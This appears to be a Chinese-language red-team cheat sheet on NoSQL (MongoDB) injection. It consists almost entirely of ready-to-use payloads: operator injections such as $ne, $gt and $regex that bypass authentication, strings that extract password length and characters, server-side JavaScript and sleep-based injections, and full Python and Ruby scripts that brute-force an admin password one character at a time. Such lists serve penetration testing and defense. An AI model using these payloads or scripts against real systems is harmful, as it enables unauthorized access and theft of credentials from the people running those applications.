Nosql 语句

1 year ago
red.ghostwolflab.com
4 minutes

身份验证绕过

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

提取长度

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

提取数据

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

in
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

SSJI

';return 'a'=='a' && ''=='
";return 'a'=='a' && ''=='
0;return true

盲注

JSON：

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

带有 urlencoded body 的 POST：

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET：

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby：

require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

MongoDB 有效负载

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';return 'a'=='a' && ''=='
";return(true);var xyz='a
0;return true
{ $gt: "" }
{ $ne: 1 }
{ $where: '1 == 1' }
{ $regex: /./, $options: 'm' }
{ $or: [ {}, { 'a':'a' } ] }
{ $comment: 'successful MongoDB injection' }
db.injection.insert({success:1});
return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
%20%26%26%20this.password.match(/.*/)//+%00
%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
%7D%29%20%7D%29%20%3B%2F%2F+%00+-+
%7D%29%20%7D%29%20%3B%2F%2F+%00